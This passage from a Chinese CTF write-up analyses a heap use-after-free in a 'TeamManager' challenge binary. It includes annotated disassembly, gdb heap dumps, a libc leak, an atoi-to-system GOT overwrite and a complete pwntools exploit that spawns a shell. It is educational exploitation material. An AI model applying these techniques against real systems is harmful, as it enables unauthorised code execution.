| 0x004020b8 4883ec10 sub rsp, 0x10
|
||
| 0x004020bc 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x004020c5 488945f8 mov qword [local_8h], rax
|
||
| 0x004020c9 31c0 xor eax, eax
|
||
| 0x004020cb 488b059e1020. mov rax, qword [obj.selected] ; [0x603170:8]=0
|
||
| 0x004020d2 4885c0 test rax, rax
|
||
| ,=< 0x004020d5 751b jne 0x4020f2
|
||
| | 0x004020d7 bfe8254000 mov edi, str.No_player_selected_index ; 0x4025e8 ; "No player selected index"
|
||
| | 0x004020dc e89febffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x004020e1 488b05781020. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x004020e8 4889c7 mov rdi, rax
|
||
| | 0x004020eb e8d0ecffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ,==< 0x004020f0 eb0f jmp 0x402101
|
||
| || ; JMP XREF from 0x004020d5 (sym.show_player)
|
||
| |`-> 0x004020f2 488b05771020. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|
||
| | 0x004020f9 4889c7 mov rdi, rax ; 球员地址 rax -> rdi
|
||
| | 0x004020fc e88af6ffff call sym.show_player_func ; 调用函数 sym.show_player_func 打印出球员信息
|
||
| | ; JMP XREF from 0x004020f0 (sym.show_player)
|
||
| `--> 0x00402101 488b45f8 mov rax, qword [local_8h]
|
||
| 0x00402105 644833042528. xor rax, qword fs:[0x28]
|
||
| ,=< 0x0040210e 7405 je 0x402115
|
||
| | 0x00402110 e8abebffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x0040210e (sym.show_player)
|
||
| `-> 0x00402115 c9 leave
|
||
\ 0x00402116 c3 ret
|
||
```
|
||
在该函数中,也未检查选中球员是否还存在,这就导致了信息泄露。
|
||
|
||
函数 `sym.edit_player` 可以调用函数 `sym.set_name` 修改 player name,但其也不会对 selected 的值做检查,配合上信息泄露,可以导致任意地址写。
|
||
```
|
||
[0x00400ec0]> pdf @ sym.set_name
|
||
/ (fcn) sym.set_name 281
|
||
| sym.set_name ();
|
||
| ; var int local_128h @ rbp-0x128
|
||
| ; var int local_120h @ rbp-0x120
|
||
| ; var int local_18h @ rbp-0x18
|
||
| ; CALL XREF from 0x00402058 (sym.edit_player + 101)
|
||
| 0x00401cdb 55 push rbp
|
||
| 0x00401cdc 4889e5 mov rbp, rsp
|
||
| 0x00401cdf 53 push rbx
|
||
| 0x00401ce0 4881ec280100. sub rsp, 0x128
|
||
| 0x00401ce7 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00401cf0 488945e8 mov qword [local_18h], rax
|
||
| 0x00401cf4 31c0 xor eax, eax
|
||
| 0x00401cf6 bf69254000 mov edi, str.Enter_new_name: ; 0x402569 ; "Enter new name: "
|
||
| 0x00401cfb b800000000 mov eax, 0
|
||
| 0x00401d00 e8fbefffff call sym.imp.printf ; int printf(const char *format)
|
||
| 0x00401d05 488b05541420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| 0x00401d0c 4889c7 mov rdi, rax
|
||
| 0x00401d0f e8acf0ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| 0x00401d14 488d85e0feff. lea rax, rbp - 0x120
|
||
| 0x00401d1b be00010000 mov esi, 0x100 ; 256
|
||
| 0x00401d20 4889c7 mov rdi, rax
|
||
| 0x00401d23 e89bf7ffff call sym.readline ; 读入修改的字符串,即 system 的地址
|
||
| 0x00401d28 488d85e0feff. lea rax, rbp - 0x120
|
||
| 0x00401d2f 4889c7 mov rdi, rax
|
||
| 0x00401d32 e869efffff call sym.imp.strlen ; size_t strlen(const char *s)
|
||
| 0x00401d37 4889c3 mov rbx, rax
|
||
| 0x00401d3a 488b052f1420. mov rax, qword [obj.selected] ; [0x603170:8]=0
|
||
| 0x00401d41 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|
||
| 0x00401d45 4889c7 mov rdi, rax
|
||
| 0x00401d48 e853efffff call sym.imp.strlen ; size_t strlen(const char *s)
|
||
| 0x00401d4d 4839c3 cmp rbx, rax
|
||
| ,=< 0x00401d50 7667 jbe 0x401db9 ; rab == rax,成功跳转
|
||
| | 0x00401d52 488d85e0feff. lea rax, rbp - 0x120
|
||
| | 0x00401d59 4889c7 mov rdi, rax
|
||
| | 0x00401d5c e83fefffff call sym.imp.strlen ; size_t strlen(const char *s)
|
||
| | 0x00401d61 488d5001 lea rdx, rax + 1 ; 1
|
||
| | 0x00401d65 488b05041420. mov rax, qword [obj.selected] ; [0x603170:8]=0
|
||
| | 0x00401d6c 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|
||
| | 0x00401d70 4889d6 mov rsi, rdx
|
||
| | 0x00401d73 4889c7 mov rdi, rax
|
||
| | 0x00401d76 e865f0ffff call sym.imp.realloc ; void *realloc(void *ptr, size_t size)
|
||
| | 0x00401d7b 488985d8feff. mov qword [local_128h], rax
|
||
| | 0x00401d82 4883bdd8feff. cmp qword [local_128h], 0
|
||
| ,==< 0x00401d8a 751b jne 0x401da7
|
||
| || 0x00401d8c bf7a254000 mov edi, str.Could_not_realloc_: ; 0x40257a ; "Could not realloc :("
|
||
| || 0x00401d91 e8eaeeffff call sym.imp.puts ; int puts(const char *s)
|
||
| || 0x00401d96 488b05c31320. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| || 0x00401d9d 4889c7 mov rdi, rax
|
||
| || 0x00401da0 e81bf0ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ,===< 0x00401da5 eb2f jmp 0x401dd6
|
||
| ||| ; JMP XREF from 0x00401d8a (sym.set_name)
|
||
| |`--> 0x00401da7 488b05c21320. mov rax, qword [obj.selected] ; [0x603170:8]=0
|
||
| | | 0x00401dae 488b95d8feff. mov rdx, qword [local_128h]
|
||
| | | 0x00401db5 48895010 mov qword [rax + 0x10], rdx
|
||
| | | ; JMP XREF from 0x00401d50 (sym.set_name)
|
||
| | `-> 0x00401db9 488b05b01320. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|
||
| | 0x00401dc0 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; player.name 字段,即 atoi@got
|
||
| | 0x00401dc4 488d95e0feff. lea rdx, rbp - 0x120 ; system@got
|
||
| | 0x00401dcb 4889d6 mov rsi, rdx ; rsi <- rdx
|
||
| | 0x00401dce 4889c7 mov rdi, rax ; rdi <- rax
|
||
| | 0x00401dd1 e89aeeffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) ; 用 system 的地址覆盖 atoi 的地址
|
||
| | ; JMP XREF from 0x00401da5 (sym.set_name)
|
||
| `---> 0x00401dd6 488b45e8 mov rax, qword [local_18h]
|
||
| 0x00401dda 644833042528. xor rax, qword fs:[0x28]
|
||
| ,=< 0x00401de3 7405 je 0x401dea
|
||
| | 0x00401de5 e8d6eeffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00401de3 (sym.set_name)
|
||
| `-> 0x00401dea 4881c4280100. add rsp, 0x128
|
||
| 0x00401df1 5b pop rbx
|
||
| 0x00401df2 5d pop rbp
|
||
\ 0x00401df3 c3 ret
|
||
```
|
||
|
||
#### 动态分析
|
||
漏洞大概清楚了,我们使用 gdb 动态调试一下,为了方便分析,先关闭 ASRL。gef 有个很强大的命令 `heap-analysis-helper`,可以追踪 `malloc()`、`free()`、`realloc()` 等函数的调用:
|
||
```
|
||
gef➤ heap-analysis-helper
|
||
[*] This feature is under development, expect bugs and unstability...
|
||
[+] Tracking malloc()
|
||
[+] Tracking free()
|
||
[+] Tracking realloc()
|
||
[+] Disabling hardware watchpoints (this may increase the latency)
|
||
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
|
||
[*] Note: The heap analysis slows down noticeably the execution.
|
||
gef➤ c
|
||
Continuing.
|
||
Welcome to your TeamManager (TM)!
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice: 1
|
||
Found free slot: 0
|
||
[+] Heap-Analysis - malloc(24)=0x604010
|
||
Enter player name: aaaa
|
||
[+] Heap-Analysis - malloc(5)=0x604030
|
||
Enter attack points: 1
|
||
Enter defense points: 2
|
||
Enter speed: 3
|
||
Enter precision: 4
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice: 2
|
||
Enter index: 0
|
||
[+] Heap-Analysis - free(0x604030)
|
||
[+] Heap-Analysis - watching 0x604030
|
||
[+] Heap-Analysis - free(0x604010)
|
||
[+] Heap-Analysis - watching 0x604010
|
||
She's gone!
|
||
```
|
||
很好地验证了球员分配和删除的过程。
|
||
|
||
|
||
## 漏洞利用
|
||
#### alloc and select
|
||
然后是内存,根据我们对堆管理机制的理解,这里选择使用 small chunk(球员 name chunk):
|
||
```python
|
||
alloc('A' * 0x60)
|
||
alloc('B' * 0x80)
|
||
alloc('C' * 0x80)
|
||
select(1)
|
||
```
|
||
```
|
||
gef➤ x/4gx 0x603180
|
||
0x603180 <players>: 0x0000000000604010 0x00000000006040a0
|
||
0x603190 <players+16>: 0x0000000000604150 0x0000000000000000
|
||
gef➤ x/70gx 0x604010-0x10
|
||
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 <-- actual player chunk
|
||
0x604010: 0x0000000200000001 0x0000000400000003 <-- pointer returned by malloc
|
||
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0 <-- player's name chunk
|
||
0x604030: 0x4141414141414141 0x4141414141414141
|
||
0x604040: 0x4141414141414141 0x4141414141414141
|
||
0x604050: 0x4141414141414141 0x4141414141414141
|
||
0x604060: 0x4141414141414141 0x4141414141414141
|
||
0x604070: 0x4141414141414141 0x4141414141414141
|
||
0x604080: 0x4141414141414141 0x4141414141414141
|
||
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
|
||
0x6040a0: 0x0000000200000001 0x0000000400000003 <-- selected
|
||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1
|
||
0x6040c0: 0x4242424242424242 0x4242424242424242
|
||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||
0x6040f0: 0x4242424242424242 0x4242424242424242
|
||
0x604100: 0x4242424242424242 0x4242424242424242
|
||
0x604110: 0x4242424242424242 0x4242424242424242
|
||
0x604120: 0x4242424242424242 0x4242424242424242
|
||
0x604130: 0x4242424242424242 0x4242424242424242
|
||
0x604140: 0x0000000000000000 0x0000000000000021 <-- player 2
|
||
0x604150: 0x0000000200000001 0x0000000400000003
|
||
0x604160: 0x0000000000604170 0x0000000000000091 <-- name 2
|
||
0x604170: 0x4343434343434343 0x4343434343434343
|
||
0x604180: 0x4343434343434343 0x4343434343434343
|
||
0x604190: 0x4343434343434343 0x4343434343434343
|
||
0x6041a0: 0x4343434343434343 0x4343434343434343
|
||
0x6041b0: 0x4343434343434343 0x4343434343434343
|
||
0x6041c0: 0x4343434343434343 0x4343434343434343
|
||
0x6041d0: 0x4343434343434343 0x4343434343434343
|
||
0x6041e0: 0x4343434343434343 0x4343434343434343
|
||
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
|
||
0x604200: 0x0000000000000000 0x0000000000000000
|
||
0x604210: 0x0000000000000000 0x0000000000000000
|
||
0x604220: 0x0000000000000000 0x0000000000000000
|
||
gef➤ p selected
|
||
$2 = 0x6040a0
|
||
```
|
||
|
||
#### free
|
||
然后:
|
||
```python
|
||
free(1)
|
||
```
|
||
```
|
||
gef➤ x/4gx 0x603180
|
||
0x603180 <players>: 0x0000000000604010 0x0000000000000000 <-- set zero
|
||
0x603190 <players+16>: 0x0000000000604150 0x0000000000000000
|
||
gef➤ x/70gx 0x604010-0x10
|
||
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
|
||
0x604010: 0x0000000200000001 0x0000000400000003
|
||
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
|
||
0x604030: 0x4141414141414141 0x4141414141414141
|
||
0x604040: 0x4141414141414141 0x4141414141414141
|
||
0x604050: 0x4141414141414141 0x4141414141414141
|
||
0x604060: 0x4141414141414141 0x4141414141414141
|
||
0x604070: 0x4141414141414141 0x4141414141414141
|
||
0x604080: 0x4141414141414141 0x4141414141414141
|
||
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins
|
||
0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected
|
||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
|
||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk
|
||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||
0x6040f0: 0x4242424242424242 0x4242424242424242
|
||
0x604100: 0x4242424242424242 0x4242424242424242
|
||
0x604110: 0x4242424242424242 0x4242424242424242
|
||
0x604120: 0x4242424242424242 0x4242424242424242
|
||
0x604130: 0x4242424242424242 0x4242424242424242
|
||
0x604140: 0x0000000000000090 0x0000000000000020 <-- player 2
|
||
0x604150: 0x0000000200000001 0x0000000400000003
|
||
0x604160: 0x0000000000604170 0x0000000000000091 <-- name 2
|
||
0x604170: 0x4343434343434343 0x4343434343434343
|
||
0x604180: 0x4343434343434343 0x4343434343434343
|
||
0x604190: 0x4343434343434343 0x4343434343434343
|
||
0x6041a0: 0x4343434343434343 0x4343434343434343
|
||
0x6041b0: 0x4343434343434343 0x4343434343434343
|
||
0x6041c0: 0x4343434343434343 0x4343434343434343
|
||
0x6041d0: 0x4343434343434343 0x4343434343434343
|
||
0x6041e0: 0x4343434343434343 0x4343434343434343
|
||
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
|
||
0x604200: 0x0000000000000000 0x0000000000000000
|
||
0x604210: 0x0000000000000000 0x0000000000000000
|
||
0x604220: 0x0000000000000000 0x0000000000000000
|
||
gef➤ p selected
|
||
$3 = 0x6040a0
|
||
gef➤ heap bins
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x6040a0, size=0x20, flags=PREV_INUSE)
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
|
||
→ Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
|
||
```
|
||
我们知道,当一个 small chunk 被释放后,会被放到 unsorted bin 中,这是一个双向链表,它的 fd 指针指向了链表的头部,即地址 `0x00007ffff7dd1b78`。然后使用命令 `vmmap` 获得 libc 被加载的地址,用链表头部地址减掉它,得到偏移。当开启 ASLR 后,其地址会变,但偏移不变。同时,释放的 player 1 chunk 被加入到 fastbins 单链表中。
|
||
```
|
||
[0x00400ec0]> ?v 0x00007ffff7dd1b78 - 0x00007ffff7a0d000
|
||
0x3c4b78
|
||
```
|
||
|
||
再次 free,将 player 2 释放,因为 player 1 也是被释放的状态,所以两个 chunk 会被合并(其实 player 是 fast chunk,不会被合并,真正合并的是 name chunk):
|
||
```python
|
||
free(2)
|
||
```
|
||
```
|
||
gef➤ x/4gx 0x603180
|
||
0x603180 <players>: 0x0000000000604010 0x0000000000000000
|
||
0x603190 <players+16>: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/70gx 0x604010-0x10
|
||
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
|
||
0x604010: 0x0000000200000001 0x0000000400000003
|
||
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
|
||
0x604030: 0x4141414141414141 0x4141414141414141
|
||
0x604040: 0x4141414141414141 0x4141414141414141
|
||
0x604050: 0x4141414141414141 0x4141414141414141
|
||
0x604060: 0x4141414141414141 0x4141414141414141
|
||
0x604070: 0x4141414141414141 0x4141414141414141
|
||
0x604080: 0x4141414141414141 0x4141414141414141
|
||
0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
|
||
0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected
|
||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed]
|
||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||
0x6040f0: 0x4242424242424242 0x4242424242424242
|
||
0x604100: 0x4242424242424242 0x4242424242424242
|
||
0x604110: 0x4242424242424242 0x4242424242424242
|
||
0x604120: 0x4242424242424242 0x4242424242424242
|
||
0x604130: 0x4242424242424242 0x4242424242424242
|
||
0x604140: 0x00000000000000b0 0x0000000000000020 <-- fastbins
|
||
0x604150: 0x0000000000000000 0x0000000400000003
|
||
0x604160: 0x0000000000604170 0x0000000000020ea1
|
||
0x604170: 0x4343434343434343 0x4343434343434343
|
||
0x604180: 0x4343434343434343 0x4343434343434343
|
||
0x604190: 0x4343434343434343 0x4343434343434343
|
||
0x6041a0: 0x4343434343434343 0x4343434343434343
|
||
0x6041b0: 0x4343434343434343 0x4343434343434343
|
||
0x6041c0: 0x4343434343434343 0x4343434343434343
|
||
0x6041d0: 0x4343434343434343 0x4343434343434343
|
||
0x6041e0: 0x4343434343434343 0x4343434343434343
|
||
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
|
||
0x604200: 0x0000000000000000 0x0000000000000000
|
||
0x604210: 0x0000000000000000 0x0000000000000000
|
||
0x604220: 0x0000000000000000 0x0000000000000000
|
||
gef➤ p selected
|
||
$4 = 0x6040a0
|
||
gef➤ heap bins fast
|
||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x604150, size=0x20, flags=)
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x604090, bk=0x604090
|
||
→ Chunk(addr=0x6040a0, size=0xb0, flags=PREV_INUSE)
|
||
```
|
||
|
||
#### alloc again
|
||
添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出:
|
||
```python
|
||
alloc('D'*16 + p64(atoi_got))
|
||
```
|
||
```
|
||
gef➤ x/4gx 0x603180
|
||
0x603180 <players>: 0x0000000000604010 0x0000000000604150
|
||
0x603190 <players+16>: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/70gx 0x604010-0x10
|
||
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
|
||
0x604010: 0x0000000200000001 0x0000000400000003
|
||
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
|
||
0x604030: 0x4141414141414141 0x4141414141414141
|
||
0x604040: 0x4141414141414141 0x4141414141414141
|
||
0x604050: 0x4141414141414141 0x4141414141414141
|
||
0x604060: 0x4141414141414141 0x4141414141414141
|
||
0x604070: 0x4141414141414141 0x4141414141414141
|
||
0x604080: 0x4141414141414141 0x4141414141414141
|
||
0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3
|
||
0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected
|
||
0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bin
|
||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||
0x6040f0: 0x4242424242424242 0x4242424242424242
|
||
0x604100: 0x4242424242424242 0x4242424242424242
|
||
0x604110: 0x4242424242424242 0x4242424242424242
|
||
0x604120: 0x4242424242424242 0x4242424242424242
|
||
0x604130: 0x4242424242424242 0x4242424242424242
|
||
0x604140: 0x0000000000000090 0x0000000000000020 <-- player 3
|
||
0x604150: 0x0000000200000001 0x0000000400000003
|
||
0x604160: 0x00000000006040a0 0x0000000000020ea1
|
||
0x604170: 0x4343434343434343 0x4343434343434343
|
||
0x604180: 0x4343434343434343 0x4343434343434343
|
||
0x604190: 0x4343434343434343 0x4343434343434343
|
||
0x6041a0: 0x4343434343434343 0x4343434343434343
|
||
0x6041b0: 0x4343434343434343 0x4343434343434343
|
||
0x6041c0: 0x4343434343434343 0x4343434343434343
|
||
0x6041d0: 0x4343434343434343 0x4343434343434343
|
||
0x6041e0: 0x4343434343434343 0x4343434343434343
|
||
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
|
||
0x604200: 0x0000000000000000 0x0000000000000000
|
||
0x604210: 0x0000000000000000 0x0000000000000000
|
||
0x604220: 0x0000000000000000 0x0000000000000000
|
||
gef➤ p selected
|
||
$5 = 0x6040a0
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
|
||
→ Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
|
||
```
|
||
|
||
#### edit and get shell
|
||
编辑 selected 处的 chunck,即 name 3:
|
||
```python
|
||
# atoi@got -> system@got
|
||
edit(p64(system))
|
||
|
||
# get shell
|
||
p.recvuntil('choice: ')
|
||
p.sendline('sh')
|
||
```
|
||
函数 atoi@got 已经被我们覆盖为 system@got,当调用 atoi 时,实际上是执行了 system('sh'):
|
||
```
|
||
gef➤ p atoi
|
||
$2 = {int (const char *)} 0x7ffff7a43e80 <atoi>
|
||
gef➤ x/gx 0x603110
|
||
0x603110: 0x00007ffff7a52390
|
||
```
|
||
|
||
到这里,我们可以重新启用 ASLR 了,该保护机制已经被绕过。
|
||
|
||
Bingo!!!
|
||
```
|
||
$ python exp.py
|
||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||
[*] leak => 0x7fcd41824b78
|
||
[*] libc => 0x7fcd41460000
|
||
[*] system => 0x7fcd414a5390
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
#### exploit
|
||
完整的 exp 如下:
|
||
```python
|
||
from pwn import *
|
||
|
||
# context.log_level = 'debug'
|
||
|
||
p = remote('127.0.0.1', 10001)
|
||
# p = process('./main.elf')
|
||
|
||
def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4):
|
||
p.recvuntil('choice: ')
|
||
p.sendline('1')
|
||
p.recvuntil('name: ')
|
||
p.sendline(name)
|
||
p.recvuntil('points: ')
|
||
p.sendline(str(attack))
|
||
p.recvuntil('points: ')
|
||
p.sendline(str(defense))
|
||
p.recvuntil('speed: ')
|
||
p.sendline(str(speed))
|
||
p.recvuntil('precision: ')
|
||
p.sendline(str(precision))
|
||
|
||
def free(idx):
|
||
p.recvuntil('choice: ')
|
||
p.sendline('2')
|
||
p.recvuntil('index: ')
|
||
p.sendline(str(idx))
|
||
|
||
def select(idx):
|
||
p.recvuntil('choice: ')
|
||
p.sendline('3')
|
||
p.recvuntil('index: ')
|
||
p.sendline(str(idx))
|
||
|
||
def edit(name):
|
||
p.recvuntil('choice: ')
|
||
p.sendline('4')
|
||
p.recvuntil('choice: ')
|
||
p.sendline('1')
|
||
p.recvuntil('name: ')
|
||
p.sendline(name)
|
||
|
||
def show():
|
||
p.recvuntil('choice: ')
|
||
p.sendline('5')
|
||
|
||
# gdb.attach(p, '''
|
||
# b *0x00402205
|
||
# c
|
||
# ''')
|
||
|
||
atoi_got = 0x603110
|
||
|
||
alloc('A' * 0x60)
|
||
alloc('B' * 0x80)
|
||
alloc('C' * 0x80)
|
||
select(1)
|
||
|
||
free(1)
|
||
show()
|
||
p.recvuntil('Name: ')
|
||
|
||
leak = u64(p.recv(6).ljust(8, '\x00'))
|
||
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
|
||
system = libc + 0x045390 # $ readelf -s libc.so.6 | grep system@
|
||
|
||
log.info("leak => 0x%x" % leak)
|
||
log.info("libc => 0x%x" % libc)
|
||
log.info("system => 0x%x" % system)
|
||
|
||
free(2)
|
||
|
||
alloc('D'*16 + p64(atoi_got))
|
||
|
||
# atoi@got -> system@got
|
||
edit(p64(system))
|
||
|
||
# get shell
|
||
p.recvuntil('choice: ')
|
||
p.sendline('sh')
|
||
p.interactive()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
https://ctftime.org/task/4528
|